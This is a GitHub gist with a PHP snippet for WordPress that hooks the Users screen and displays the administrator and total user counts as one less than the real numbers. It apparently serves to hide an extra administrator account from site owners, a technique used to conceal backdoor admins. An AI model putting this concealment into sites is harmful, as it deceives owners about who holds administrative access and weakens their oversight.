Skip to content

Instantly share code, notes, and snippets.

@alainlankers
Created July 30, 2021 14:47
Show Gist options
  • Save alainlankers/16b9969641e7d01889bd495124ceb1e9 to your computer and use it in GitHub Desktop.
Save alainlankers/16b9969641e7d01889bd495124ceb1e9 to your computer and use it in GitHub Desktop.
Change the number of WordPress administrators on the website
//* Show number of admins minus 1
add_filter("views_users", "site_list_table_views");
function site_list_table_views($views){
$users = count_users();
$admins_num = $users['avail_roles']['administrator'] - 1;
$all_num = $users['total_users'] - 1;
$class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
$class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
$views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
$views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
return $views;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment